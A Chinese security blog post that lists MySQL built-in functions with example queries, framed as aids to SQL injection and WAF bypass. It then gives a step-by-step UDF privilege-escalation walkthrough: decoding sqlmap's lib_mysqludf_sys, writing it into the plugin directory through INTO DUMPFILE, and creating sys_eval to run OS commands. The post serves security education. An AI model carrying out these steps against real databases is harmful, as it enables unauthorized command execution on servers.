MySQL函数及提权

最新推荐文章于 2025-04-10 13:11:27 发布
最新推荐文章于 2025-04-10 13:11:27 发布
阅读量537 收藏 1
点赞数 2
分类专栏： web安全基础 文章标签： 数据库 mysql 字符串 udf
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_49821579/article/details/113874974
版权

在 sql 注入时为了应对各种限制措施，利用数据库自带的一些系统函数经过各种变换之后可以绕过一些 安全设备或者一些基础防御的措施，比如一些字符串转换的函数、截取字符串长度的函数等，

应用的场景包括：通过注入获取数据、变换字符串绕过 WAF、盲注猜解字符数据等

1、MySQL自带函数的功能与用法

1.1、MySQL 字符串函数

1.ASCII(s)

返回字符串 s 的第一个字符的 ASCII 码

SELECT ASCII('MySQL') AS NumCodeOfFirstChar;
+--------------------+
| NumCodeOfFirstChar |
+--------------------+
|                 77 |
+--------------------+

2.CHAR_LENGTH(s)

返回字符串 s 的字符数

 SELECT CHAR_LENGTH("MySQL") AS LengthOfString;
+----------------+
| LengthOfString |
+----------------+
|              5 |
+----------------+

3.CONCAT(s1,s2…sn)

字符串 s1,s2 等多个字符串合并为一个字符串

SELECT CONCAT ('I',' ','am',' ','learning',' ','MySQL','.') AS ConcatenatedString;
+----------------------+
| ConcatenatedString   |
+----------------------+
| I am learning MySQL. |
+----------------------+

注意区别 CONCAT_WS(x, s1,s2…sn)

同 CONCAT(s1,s2,…) 函数，但是每个字符串之间要加上 x，x 可以是分隔符

与 group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )

可配合group_by使用

4.FIELD(s,s1,s2…)

返回第一个字符串 s 在字符串列表(s1,s2…)中的位置

SELECT FIELD("c", "a", "b", "c", "d", "e");
+-------------------------------------+
| FIELD("c", "a", "b", "c", "d", "e") |
+-------------------------------------+
|                                   3 |
+-------------------------------------+

5.FIND_IN_SET(s1,s2)

返回在字符串s2中与s1匹配的字符串的位置

SELECT FIND_IN_SET('c','a,b,c,d,e');
+------------------------------+
| FIND_IN_SET('c','a,b,c,d,e') |
+------------------------------+
|                            3 |
+------------------------------+

6.FORMAT(x,n)

函数可以将数字 x 进行格式化 “#,###.##”, 将 x 保留到小数点后 n 位，最后一位四舍五入。

 SELECT FORMAT(3.1415926535,4);
+------------------------+
| FORMAT(3.1415926535,4) |
+------------------------+
| 3.1416                 |
+------------------------+

7.INSERT(s1,x,len,s2)

字符串 s2 替换 s1 的 x 位置开始长度为 len 的字符串

SELECT INSERT('MySQL',1,2,'Your');
+----------------------------+
| INSERT('MySQL',1,2,'Your') |
+----------------------------+
| YourSQL                    |
+----------------------------+

8.LOCATE(s1,s)

从字符串 s 中获取 s1 的开始位置

 SELECT LOCATE('SQL','MySQL');
+-----------------------+
| LOCATE('SQL','MySQL') |
+-----------------------+
|                     3 |
+-----------------------+

9.LOWER(s)|LCASE(s)

将字符串 s 的所有字母变成小写字母

SELECT LOWER('MYSQL');
+----------------+
| LOWER('MYSQL') |
+----------------+
| mysql          |
+----------------+
SELECT LCASE('MYSQL');
+----------------+
| LCASE('MYSQL') |
+----------------+
| mysql          |
+----------------+

10.UPPER(s)|UCASE(s)

将字符串 s 的所有字母变成大写字母

SELECT UPPER('mysql');
+----------------+
| UPPER('mysql') |
+----------------+
| MYSQL          |
+----------------+
SELECT UCASE('mysql');
+----------------+
| UCASE('mysql') |
+----------------+
| MYSQL          |
+----------------+

11.LEFT(s,n)

返回字符串 s 的前 n 个字符

SELECT LEFT('MySQL',2);
+-----------------+
| LEFT('MySQL',2) |
+-----------------+
| My              |
+-----------------+

12.RIGHT(s,n)

返回字符串 s 的后 n 个字符

 SELECT RIGHT('MySQL',3);
+------------------+
| RIGHT('MySQL',3) |
+------------------+
| SQL              |
+------------------+

13.LPAD(s1,len,s2)

在字符串 s1 的开始处填充字符串 s2，使字符串长度达到 len

 SELECT LPAD('SQL',7,'My');
+--------------------+
| LPAD('SQL',7,'My') |
+--------------------+
| MyMySQL            |
+--------------------+

14.RPAD(s1,len,s2)

在字符串 s1 的结尾处添加字符串 s2，使字符串的长度达到 len

SELECT RPAD ('My',8,'SQL');
+---------------------+
| RPAD ('My',8,'SQL') |
+---------------------+
| MySQLSQL            |
+---------------------+

15.LTRIM(s)

去掉字符串 s 开始处的空格

SELECT LTRIM('      MySQL') AS LeftTrimmedString;
+-------------------+
| LeftTrimmedString |
+-------------------+
| MySQL             |
+-------------------+

16.RTRIM(s)

去掉字符串 s 结尾处的空格

 SELECT RTRIM ('MySQL      ');
+-----------------------+
| RTRIM ('MySQL      ') |
+-----------------------+
| MySQL                 |
+-----------------------+

17.TRIM(s)

去掉字符串 s 开始和结尾处的空格

SELECT TRIM('    MySQL    ') AS TrimmedString;
+---------------+
| TrimmedString |
+---------------+
| MySQL         |
+---------------+

18.MID(s,n,len)|SUBSTR(s, n, len)|SUBSTRING(s, n, len)

从字符串 s 的 n 位置截取长度为 len 的子字符串

SELECT MID('MySQL',3,3) AS ExtractString;
+---------------+
| ExtractString |
+---------------+
| SQL           |
+---------------+

19.REPEAT(s,n)

将字符串 s 重复 n 次

SELECT REPEAT('MySQL',3);
+-------------------+
| REPEAT('MySQL',3) |
+-------------------+
| MySQLMySQLMySQL   |
+-------------------+

20.REPLACE(s,s1,s2)

将字符串 s2 替代字符串 s 中的字符串 s1

SELECT REPLACE ('MySQL','My','Your');
+-------------------------------+
| REPLACE ('MySQL','My','Your') |
+-------------------------------+
| YourSQL                       |
+-------------------------------+

21.REVERSE(s)

将字符串s的顺序反过来

SELECT REVERSE ('MySQL');
+-------------------+
| REVERSE ('MySQL') |
+-------------------+
| LQSyM             |
+-------------------+

22.SPACE (s)

返回n个空格

SELECT SPACE (10);
+------------+
| SPACE (10) |
+------------+
|            |
+------------+

23.STRCMP(s1,s2)

比较字符串 s1 和 s2，如果 s1 与 s2 相等返回 0 ，如果 s1>s2 返回 1，如果 s1<s2 返回 -1

SELECT STRCMP ('MySQL','MySQL');
+--------------------------+
| STRCMP ('MySQL','MySQL') |
+--------------------------+
|                        0 |
+--------------------------+

24.SUBSTRING_INDEX(s, delimiter, number)

返回从字符串 s 的第 number 个出现的分隔符 delimiter 之后的子串。
如果 number 是正数，返回第 number 个字符左边的字符串。
如果 number 是负数，返回第(number 的绝对值(从右边数))个字符右边的字符串。

SELECT SUBSTRING_INDEX('M*y*S*Q*L','*',2);
+------------------------------------+
| SUBSTRING_INDEX('M*y*S*Q*L','*',2) |
+------------------------------------+
| M*y                                |
+------------------------------------+
 SELECT SUBSTRING_INDEX('M*y*S*Q*L','*',-3);
+-------------------------------------+
| SUBSTRING_INDEX('M*y*S*Q*L','*',-3) |
+-------------------------------------+
| S*Q*L                               |
+-------------------------------------+
SELECT SUBSTRING_INDEX(SUBSTRING_INDEX('M*y*S*Q*L','*',-3),'*',2);
+------------------------------------------------------------+
| SUBSTRING_INDEX(SUBSTRING_INDEX('M*y*S*Q*L','*',-3),'*',2) |
+------------------------------------------------------------+
| S*Q                                                        |
+------------------------------------------------------------+

1.2、MySQL 数字函数

1.ABS(x)

返回 x 的绝对值

SELECT ABS(-1);
+---------+
| ABS(-1) |
+---------+
|       1 |
+---------+

2.AVG(expression)

返回一个表达式的平均值，expression 是一个字段

SELECT AVG(Price) AS AveragePrice FROM Products;
+--------------+
| AveragePrice |
+--------------+
|     456.0000 |
+--------------+

3.三角函数(参数x是弧度)

SIN(x) | COS(x) | TAN(x) | COT(x) | ASIN(x) | ACOS(x) | ATAN(x)

4.DEGREES(x)

将弧度转换为角度

SELECT DEGREES(3.1415926535898) ;
+--------------------------+
| DEGREES(3.1415926535898) |
+--------------------------+
|        180.0000000000004 |
+--------------------------+

5.CEIL(x)

返回大于或等于 x 的最小整数

 SELECT CEIL (0.1);
+------------+
| CEIL (0.1) |
+------------+
|          1 |
+------------+

6.FLOOR(x)

返回小于或等于 x 的最大整数

 SELECT FLOOR(-0.1);
+-------------+
| FLOOR(-0.1) |
+-------------+
|          -1 |
+-------------+

7.COUNT(expression)

返回查询的记录总数，expression 参数是一个字段或者 * 号

SELECT COUNT(User) AS User_number FROM user;
+-------------+
| User_number |
+-------------+
|           6 |
+-------------+

8.n DIV m

整除，n 为被除数，m 为除数

SELECT 10 DIV 5;
+----------+
| 10 DIV 5 |
+----------+
|        2 |
+----------+

9.MOD(x,y)

返回 x 除以 y 以后的余数

SELECT MOD(5,2);
+----------+
| MOD(5,2) |
+----------+
|        1 |
+----------+

10.EXP(x)

返回 e 的 x 次方

SELECT EXP(3) ;
+--------------------+
| EXP(3)             |
+--------------------+
| 20.085536923187668 |
+--------------------+

11.GREATEST(expr1, expr2, expr3, …)

返回列表中的最大值

 SELECT GREATEST(3, 12, 34, 8, 25);
+----------------------------+
| GREATEST(3, 12, 34, 8, 25) |
+----------------------------+
|                         34 |
+----------------------------+
SELECT GREATEST('MySQL','Oracle','MariaDB');
+--------------------------------------+
| GREATEST('MySQL','Oracle','MariaDB') |
+--------------------------------------+
| Oracle                               |
+--------------------------------------+

12.LEAST(expr1, expr2, expr3, …)

返回列表中的最小值

SELECT LEAST(3, 12, 34, 8, 25);
+-------------------------+
| LEAST(3, 12, 34, 8, 25) |
+-------------------------+
|                       3 |
+-------------------------+

13.MAX(expression)

返回字段 expression 中的最大值

SELECT MAX(Price) AS LargestPrice FROM Products;
+--------------+
| LargestPrice |
+--------------+
|          789 |
+--------------+

14.MIN(expression)

返回字段 expression 中的最小值

 SELECT MIN(Price) AS MinPrice FROM Products;
+----------+
| MinPrice |
+----------+
|      123 |
+----------+

15.对数计算

LOG(x) 返回数字的自然对数，以 e 为底。

LOG(n, x) 返回以n为底，数字x的对数。

LOG2(x) 返回以 2 为底的对数。

LOG10(x) 返回以 10 为底的对数。

16.PI()

返回圆周率(3.141593）

17.POW(x,y) | POWER(x,y)

返回 x 的 y 次方

SELECT POW (2,3);
+-----------+
| POW (2,3) |
+-----------+
|         8 |
+-----------+
SELECT POWER(2,3);
+------------+
| POWER(2,3) |
+------------+
|          8 |
+------------+

18.RADIANS(x)

将角度转换为弧度

 SELECT RADIANS(180);
+-------------------+
| RADIANS(180)      |
+-------------------+
| 3.141592653589793 |
+-------------------+

19.RAND()

返回 0 到 1 的随机数

SELECT RAND();
+--------------------+
| RAND()             |
+--------------------+
| 0.8029554586885083 |
+--------------------+

20.ROUND(x)

返回离 x 最近的整数

 SELECT ROUND(1.49999999999);
+----------------------+
| ROUND(1.49999999999) |
+----------------------+
|                    1 |
+----------------------+
SELECT ROUND(1.5);
+------------+
| ROUND(1.5) |
+------------+
|          2 |
+------------+

21.SIGN(x)

返回 x 的符号，x 是负数、0、正数分别返回 -1、0 和 1

SELECT SIGN(-1);
+----------+
| SIGN(-1) |
+----------+
|       -1 |
+----------+

22.SQRT(x)

返回x的平方根

SELECT SQRT(4);
+---------+
| SQRT(4) |
+---------+
|       2 |
+---------+

23.SUM(expression)

返回指定字段的总和

SELECT SUM(Price) FROM Products;
+------------+
| SUM(Price) |
+------------+
|       1368 |
+------------+

24.TRUNCATE(x,y)

返回数值 x 保留到小数点后 y 位的值（与 ROUND 最大的区别是不会进行四舍五入）

SELECT TRUNCATE(1.23456,3);
+---------------------+
| TRUNCATE(1.23456,3) |
+---------------------+
|               1.234 |
+---------------------+

1.3、MySQL 日期函数

1.ADDDATE(d,n)

计算起始日期 d 加上 n 天的日期

SELECT ADDDATE('2020-2-1',30);
+------------------------+
| ADDDATE('2020-2-1',30) |
+------------------------+
| 2020-03-02             |
+------------------------+

2.ADDTIME(t,n)

n 是一个时间表达式，时间 t 加上时间表达式 n

SELECT ADDTIME('2020-11-10 20:00:00','4:0:0');
+----------------------------------------+
| ADDTIME('2020-11-10 20:00:00','4:0:0') |
+----------------------------------------+
| 2020-11-11 00:00:00                    |
+----------------------------------------+

3.DATE_ADD(d，INTERVAL expr type)

计算起始日期 d 加上一个时间段后的日期

SELECT DATE_ADD('2020-11-11 11:11:11' ,INTERVAL 5 MINUTE);
+----------------------------------------------------+
| DATE_ADD('2020-11-11 11:11:11' ,INTERVAL 5 MINUTE) |
+----------------------------------------------------+
| 2020-11-11 11:16:11                                |
+----------------------------------------------------+

4.当前日期时间

CURDATE() | CURRENT_DATE() 返回当前日期

CURTIME() | CURRENT_TIME 返回当前时间

NOW() | CURRENT_TIMESTAMP() | LOCALTIME() |LOCALTIMESTAMP() | SYSDATE() 返回当前日期和时间

5.DATE(t) | HOUR(t) | MINUTE(t) |SECOND(t)

从日期或日期时间表达式中提取日期值|小时值|分钟值|秒钟值

SELECT DATE('2020-11-11 0:0:0');
+--------------------------+
| DATE('2020-11-11 0:0:0') |
+--------------------------+
| 2020-11-11               |
+--------------------------+

6.DATEDIFF(d1,d2)

计算日期 d1->d2 之间相隔的天数

 SELECT DATEDIFF('2020-11-22','2021-6-7');
+-----------------------------------+
| DATEDIFF('2020-11-22','2021-6-7') |
+-----------------------------------+
|                              -197 |
+-----------------------------------+

7.DATE_FORMAT(d,f)

按表达式 f的要求显示日期 d

 SELECT DATE_FORMAT('2011-11-11 11:11:11','%Y-%m-%d %r');
+--------------------------------------------------+
| DATE_FORMAT('2011-11-11 11:11:11','%Y-%m-%d %r') |
+--------------------------------------------------+
| 2011-11-11 11:11:11 AM                           |
+--------------------------------------------------+

8.DATE_SUB(date,INTERVAL expr type)

函数从日期减去指定的时间间隔。

 select * from Orders;
+---------+------------+
| OrderId | OrderDate  |
+---------+------------+
|       1 | 2020-11-11 |
+---------+------------+
SELECT OrderId,DATE_SUB(OrderDate,INTERVAL 2 DAY) AS OrderPayDate FROM Orders;
+---------+--------------+
| OrderId | OrderPayDate |
+---------+--------------+
|       1 | 2020-11-09   |
+---------+--------------+

9.DAY(d)

返回日期值 d 的日期部分

SELECT DAY('2020-11-11') AS day;
+------+
| day  |
+------+
|   11 |
+------+

10.DAYNAME(d)

返回日期 d 是星期几，如 Monday,Tuesday

 SELECT DAYNAME('2020-11-11');
+-----------------------+
| DAYNAME('2020-11-11') |
+-----------------------+
| Wednesday             |
+-----------------------+

11.DAYOFYEAR(d)

计算日期 d 是本年的第几天

 SELECT DAYOFYEAR ('2020-11-11');
+--------------------------+
| DAYOFYEAR ('2020-11-11') |
+--------------------------+
|                      316 |
+--------------------------+

12.EXTRACT(type FROM d)

从日期 d 中获取指定的值，type 指定返回的值。
type可取值为：

  • MICROSECOND
  • SECOND
  • MINUTE
  • HOUR
  • DAY
  • WEEK
  • MONTH
  • QUARTER
  • YEAR
  • SECOND_MICROSECOND
  • MINUTE_MICROSECOND
  • MINUTE_SECOND
  • HOUR_MICROSECOND
  • HOUR_SECOND
  • HOUR_MINUTE
  • DAY_MICROSECOND
  • DAY_SECOND
  • DAY_MINUTE
  • DAY_HOUR
  • YEAR_MONTH
SELECT EXTRACT(MINUTE FROM '2020-11-11 11:11:11');
+--------------------------------------------+
| EXTRACT(MINUTE FROM '2020-11-11 11:11:11') |
+--------------------------------------------+
|                                         11 |
+--------------------------------------------+

13.FROM_DAYS(n)

计算从 0000 年 1 月 1 日开始 n 天后的日期

SELECT FROM_DAYS(9999);
+-----------------+
| FROM_DAYS(9999) |
+-----------------+
| 0027-05-18      |
+-----------------+

14.TO_DAYS(d)

计算日期 d 距离 0000 年 1 月 1 日的天数

 SELECT TO_DAYS('0027-05-18');
+-----------------------+
| TO_DAYS('0027-05-18') |
+-----------------------+
|                  9999 |
+-----------------------+

15.LAST_DAY(d)

返回给定日期的那一月份的最后一天

SELECT LAST_DAY('2020-2-1');
+----------------------+
| LAST_DAY('2020-2-1') |
+----------------------+
| 2020-02-29           |
+----------------------+

16.MAKEDATE(year, day-of-year)

基于给定参数年份 year 和所在年中的天数序号 day-of-year 返回一个日期

 SELECT MAKEDATE(2020,300);
+--------------------+
| MAKEDATE(2020,300) |
+--------------------+
| 2020-10-26         |
+--------------------+

17.MAKETIME(hour, minute, second)

组合时间，参数分别为小时、分钟、秒

 SELECT MAKETIME(1,2,3);
+-----------------+
| MAKETIME(1,2,3) |
+-----------------+
| 01:02:03        |
+-----------------+

18.MONTHNAME(d)

返回日期当中的月份名称，如 November

SELECT MONTHNAME('2020-11-11');
+-------------------------+
| MONTHNAME('2020-11-11') |
+-------------------------+
| November                |
+-------------------------+

19.PERIOD_ADD(period, number)

为 年-月 组合日期添加一个时段

SELECT PERIOD_ADD(202011,7);
+----------------------+
| PERIOD_ADD(202011,7) |
+----------------------+
|               202106 |
+----------------------+

20.PERIOD_DIFF(period1, period2)

返回两个时段之间的月份差值

 SELECT PERIOD_DIFF(202011,202109);
+----------------------------+
| PERIOD_DIFF(202011,202109) |
+----------------------------+
|                        -10 |
+----------------------------+

21.TIMEDIFF(time1, time2)

计算时间差值

SELECT TIMEDIFF('1:2:3','4:5:6');
+---------------------------+
| TIMEDIFF('1:2:3','4:5:6') |
+---------------------------+
| -03:03:03                 |
+---------------------------+

22.QUARTER(d)

返回日期d是第几季节，返回 1 到 4

 SELECT QUARTER('2020-11-11');
+-----------------------+
| QUARTER('2020-11-11') |
+-----------------------+
|                     4 |
+-----------------------+

23.SEC_TO_TIME(s)

将以秒为单位的时间 s 转换为时分秒的格式

 SELECT SEC_TO_TIME(9999);
+-------------------+
| SEC_TO_TIME(9999) |
+-------------------+
| 02:46:39          |
+-------------------+

24.TIME_TO_SEC(t)

将时间 t 转换为秒

 SELECT TIME_TO_SEC('02:46:39');
+-------------------------+
| TIME_TO_SEC('02:46:39') |
+-------------------------+
|                    9999 |
+-------------------------+

25.STR_TO_DATE(string, format_mask)

将字符串转变为日期

 SELECT STR_TO_DATE('November 11 2020', '%M %d %Y');
+---------------------------------------------+
| STR_TO_DATE('November 11 2020', '%M %d %Y') |
+---------------------------------------------+
| 2020-11-11                                  |
+---------------------------------------------+

26.SUBDATE(d,n)

日期 d 减去 n 天后的日期

 SELECT SUBDATE('2020-11-11 11:11:11', 366);
+-------------------------------------+
| SUBDATE('2020-11-11 11:11:11', 366) |
+-------------------------------------+
| 2019-11-11 11:11:11                 |
+-------------------------------------+

27.SUBTIME(t,n)

时间 t 减去 n 秒的时间

 SELECT SUBTIME('2020-11-11 11:11:11', 11);
+------------------------------------+
| SUBTIME('2020-11-11 11:11:11', 11) |
+------------------------------------+
| 2020-11-11 11:11:00                |
+------------------------------------+

28.TIME(expression)

提取传入表达式的时间部分

 SELECT TIME('2020-11-11 19:30:00');
+-----------------------------+
| TIME('2020-11-11 19:30:00') |
+-----------------------------+
| 19:30:00                    |
+-----------------------------+

29.TIME_FORMAT(t,f)

按表达式 f 的要求显示时间 t

SELECT TIME_FORMAT('11:11:11','%r');
+------------------------------+
| TIME_FORMAT('11:11:11','%r') |
+------------------------------+
| 11:11:11 AM                  |
+------------------------------+

30.WEEK(d)

计算日期 d 是本年的第几个星期，范围是 0 到 53

 SELECT WEEK('2020-11-11 11:11:11');
+-----------------------------+
| WEEK('2020-11-11 11:11:11') |
+-----------------------------+
|                          45 |
+-----------------------------+

1.4、MySQL 高级函数

1.BIN(x) | OCT(x) | HEX(x)

返回 x 的二进制编码|八进制编码|十六进制编码

SELECT BIN(10);
+---------+
| BIN(10) |
+---------+
| 1010    |
+---------+

2.BINARY(s)

将字符串 s 转换为二进制字符串

 SELECT BINARY 'MySQL';
+--------------------------------+
| BINARY 'MySQL'                 |
+--------------------------------+
| 0x4D7953514C                   |
+--------------------------------+

3.条件判断函数

CASE expression
    WHEN condition1 THEN result1
    WHEN condition2 THEN result2
   ...
    WHEN conditionN THEN resultN
    ELSE result
END

CASE 表示函数开始，END 表示函数结束。如果 condition1 成立，则返回 result1, 如果 condition2 成立，则返回 result2，当全部不成立则返回 result，而当有一个成立之后，后面的就不执行了。

SELECT CASE 
    -> WHEN '1 > 0' THEN '1 > 0'
    -> WHEN '2 > 0' THEN '2 > 0'
    -> ELSE '3 > 0'
    -> END;
+----------------------------------------------------------------------------+
| CASE 
WHEN '1 > 0' THEN '1 > 0'
WHEN '2 > 0' THEN '2 > 0'
ELSE '3 > 0'
END |
+----------------------------------------------------------------------------+
| 1 > 0                                                                      |
+----------------------------------------------------------------------------+

4.CAST(x AS type)

转换数据类型

 SELECT CAST("2020-11-11" AS DATE);
+----------------------------+
| CAST("2020-11-11" AS DATE) |
+----------------------------+
| 2020-11-11                 |
+----------------------------+

5.COALESCE(expr1, expr2, …, expr_n)

返回参数中的第一个非空表达式（从左向右）

SELECT COALESCE(NULL,NULL,'MySQL',NULL,'Oracle',NULL);
+------------------------------------------------+
| COALESCE(NULL,NULL,'MySQL',NULL,'Oracle',NULL) |
+------------------------------------------------+
| MySQL                                          |
+------------------------------------------------+

6.CONNECTION_ID()

返回唯一的连接 ID

SELECT CONNECTION_ID();
+-----------------+
| CONNECTION_ID() |
+-----------------+
|              11 |
+-----------------+

7.CONV(x,f1,f2)

返回 f1 进制数变成 f2 进制数

 SELECT CONV(10,10,2);
+---------------+
| CONV(10,10,2) |
+---------------+
| 1010          |
+---------------+

8.CONVERT(s USING cs)

函数将字符串 s 的字符集变成 cs

SELECT CHARSET('ABC');
+----------------+
| CHARSET('ABC') |
+----------------+
| utf8mb4        |
+----------------+
SELECT CHARSET(CONVERT('ABC' USING gbk));
+-----------------------------------+
| CHARSET(CONVERT('ABC' USING gbk)) |
+-----------------------------------+
| gbk                               |
+-----------------------------------+

9.USER() |CURRENT_USER() |SESSION_USER() |SYSTEM_USER()

返回当前用户

 SELECT CURRENT_USER();
+----------------+
| CURRENT_USER() |
+----------------+
| root@%         |
+----------------+

10.DATABASE()

返回当前数据库名

SELECT DATABASE();
+------------+
| DATABASE() |
+------------+
| mysql      |
+------------+

11.IF(expr,v1,v2)

如果表达式 expr 成立，返回结果 v1；否则，返回结果 v2

SELECT IF(1 > 0,'正确','错误');
+-----------------------------+
| IF(1 > 0,'正确','错误')     |
+-----------------------------+
| 正确                        |
+-----------------------------+

12.IFNULL(v1,v2)

如果 v1 的值不为 NULL，则返回 v1，否则返回 v2。

SELECT IFNULL(null,'Hello Word');
+---------------------------+
| IFNULL(null,'Hello Word') |
+---------------------------+
| Hello Word                |
+---------------------------+

13.ISNULL(expression)

判断表达式是否为 NULL

 SELECT ISNULL(NULL);
+--------------+
| ISNULL(NULL) |
+--------------+
|            1 |
+--------------+

14.LAST_INSERT_ID()

返回最近生成的 AUTO_INCREMENT 值

 SELECT LAST_INSERT_ID();
+------------------+
| LAST_INSERT_ID() |
+------------------+
|                0 |
+------------------+

15.NULLIF(expr1, expr2)

比较两个字符串，如果字符串 expr1 与 expr2 相等 返回 NULL，否则返回 expr1

SELECT NULLIF(25, 25);
+----------------+
| NULLIF(25, 25) |
+----------------+
|           NULL |
+----------------+

16.VERSION()

查看MySQL版本

返回数据库的版本号

 SELECT VERSION();
+-------------------------+
| VERSION()               |
+-------------------------+
| 8.0.22-0ubuntu0.20.04.2 |
+-------------------------+

17.MD5()

加密函数

SELECT MD5('123456');
+----------------------------------+
| MD5('123456')                    |
+----------------------------------+
| e10adc3949ba59abbe56e057f20f883e |
+----------------------------------+

18.IP地址与数字相互转换的函数

  • INET_ATON(IP)

IP地址转换为数字表示

  • INET_NTOA(n)

将数字n转换成IP形式

SELECT INET_ATON('192.168.0.1');
+--------------------------+
| INET_ATON('192.168.0.1') |
+--------------------------+
|               3232235521 |
+--------------------------+
SELECT INET_NTOA(3232235521);
+-----------------------+
| INET_NTOA(3232235521) |
+-----------------------+
| 192.168.0.1           |
+-----------------------+

19.加锁函数和解锁函数

  • GET_LOCK(name,time)函数定义一个名称为name、持续时间长度为time秒的锁。如果锁定成功，则返回1；如果尝试超时，则返回0；如果遇到错误，返回NULL。
  • RELEASE_LOCK(name)函数解除名称为name的锁。如果解锁成功，则返回1；如果尝试超时，返回0；如果解锁失败，返回NULL；
  • IS_FREE_LOCK(name)函数判断是否已使用名为name的锁定。如果使用，返回0，否则，返回1；
SELECT GET_LOCK('MySQL',10);
+----------------------+
| GET_LOCK('MySQL',10) |
+----------------------+
|                    1 |
+----------------------+
SELECT IS_FREE_LOCK('MySQL');
+-----------------------+
| IS_FREE_LOCK('MySQL') |
+-----------------------+
|                     0 |
+-----------------------+
SELECT RELEASE_LOCK('MySQL');
+-----------------------+
| RELEASE_LOCK('MySQL') |
+-----------------------+
|                     1 |
+-----------------------+

20.@@datadir 数据库路径

​ @@version_compile_os 操作系统版本

21.sleep(N)

执行select sleep(N)可以让此语句运行N秒钟

前提条件: 指定条件的记录存在时才会停止指定的秒数

mysql> select sleep(1),database(),version(),user();
+----------+------------+-------------------------+----------------+
| sleep(1) | database() | version()               | user()         |
+----------+------------+-------------------------+----------------+
|        0 | test       | 8.0.22-0ubuntu0.20.04.2 | root@localhost |
+----------+------------+-------------------------+----------------+
1 row in set (1.00 sec)

2、MySQL 执行系统命令

在 MySQL 的命令行界面中可以使用 system shell-cmd 或者\! shell-cmd 格式执行 shell 命令。

实例：

mysql> system ls /var/www
example.com  html
mysql> \! ls /var/www
example.com  html

也可以打开一个新的 shell，关闭 shell (使用 exit 或者 CTRL D)后返回 MySQL 命令行界面。

mysql> \! bash
root@linux:/var/www/html/project# cd ~
root@linux:~# ls
snap
root@linux:~# exit
exit
mysql>

3、UDF提权执行系统命令

UDF 为 “User-Defined Function” 的所写，即用户自定义函数。MySQL 允许用户添加新的函数，其中一种方法就是通过其提供的 UDF 接口，添加用户自定义函数。用户自定义函数可以使用 C/C++ 语言编写并编译成库文件（其它语言也可以，只要能编译成共享库文件），放到 MySQL 指定的目录下，以便 MySQL 能动态加载用户自定义的函数。

使用 UDF 可以加载自定义的函数，因此可以通过自定义函数执行各种操作，关于用户自定义函数的编写可参考，Extending MySQL

3.1、udf提权

1）原理：UDF提权是利用MySQL的自定义函数功能，构造特定的DLL将Mysql账号转化为系统system权限

2）条件

  • MySQL 用户能写文件到 MySQL 指定的自定义函数库存放目录。
  • MySQL 用户具有 INSERT 权限，才能使用 CREATE FUNCTION语句在 MySQL 中添加自定义的函数，此外如果使用 DROP FUNCTION 语句删除自定义函数，还需要有 DELETE 权限。

查看secure_file_priv的值

 show global variables like 'secure%';
 当secure_file_priv的值为NULL或/tmp/时，此时无法提权
 当secure_file_priv的值没有具体值时，则可以提权

3.2、udf文件

对于udf文件，在sqlmap工具中自带就有，或github里搜索，只要找对应操作系统的版本即可

查看系统架构

show variables like '%compile%';         	查看主机版本及架构

image-20201125173019139

Windows下是.dll文件；linux下是.so文件

在 sqlmap\data\udf\mysql\windows|linux\64|32目录下存放着lib_mysqludf_sys.dll__|.so_

但是sqlmap 中 自带 的shell 以及一些二进制文件，为了防止被误杀都经过异或方式编码，不能直接使用,可以利用sqlmap 自带的解码工具cloak.py解码后，再直接利用。

进入到 sqlmap\extra\cloak 目录下，执行命令：

python clock.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_

然后会生成一个lib_mysqludf_sys.so文件

image-20201125173442662

3.3、使用udf

1)将udf文件放到指定位置

得到插件库路径

show variables like "%plugin%";

image-20201125180437269

得到udf文件的十六进制格式，可在本地通过

select hex(load_file('/usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';

#windows下cmd命令行处理

certutil -encodehex -f -v lib_mysqludf_sys.dll 1.txt 4

写入插件库

select '7F454C46020...' into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';

2)从udf文件中引入自定义函数

查看下这个udf库所支持的函数

root@linux:~# nm -D /usr/lib/mysql/plugin/lib_mysqludf_sys.so
         w _Jv_RegisterClasses
0000000000201788 A __bss_start
         w __cxa_finalize
         w __gmon_start__
0000000000201788 A _edata
0000000000201798 A _end
0000000000001178 T _fini
0000000000000ba0 T _init
         U fgets
         U fork
         U free
         U getenv
000000000000101a T lib_mysqludf_sys_info
0000000000000da4 T lib_mysqludf_sys_info_deinit
0000000000001047 T lib_mysqludf_sys_info_init
         U malloc
         U mmap
         U pclose
         U popen
         U realloc
         U setenv
         U strcpy
         U strncpy
0000000000000dac T sys_bineval
0000000000000dab T sys_bineval_deinit
0000000000000da8 T sys_bineval_init
0000000000000e46 T sys_eval
0000000000000da7 T sys_eval_deinit
0000000000000f2e T sys_eval_init
0000000000001066 T sys_exec
0000000000000da6 T sys_exec_deinit
0000000000000f57 T sys_exec_init
00000000000010f7 T sys_get
0000000000000da5 T sys_get_deinit
0000000000000fea T sys_get_init
000000000000107a T sys_set
00000000000010e8 T sys_set_deinit
0000000000000f80 T sys_set_init
         U sysconf
         U system
         U waitpid

创建函数

mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.14 sec)

3)执行自定义函数

mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql       |
+--------------------+
1 row in set (0.04 sec)
 
mysql> select * from mysql.func;
+----------+-----+-------------+----------+
| name   | ret | dl     | type   |
+----------+-----+-------------+----------+
| sys_eval |  0 | lib_mysqludf_sys.so | function |
+----------+-----+-------------+----------+
1 row in set

mysql> drop function sys_eval;
Query OK, 0 rows affected (0.00 sec)

mysql> select * from func;
Empty set (0.00 sec)

参考资料

[1] MySQL 常用内置函数与所有内置函数

[2] MySQL常用内置函数

[3] udf提权原理详解

[4] Linux利用UDF库实现Mysql提权

[5] MySQL UDF提权执行系统命令

[6] Mysql——udf提权

MySQL UDF 提权初探
GreatSQL2021的博客
08-07 444
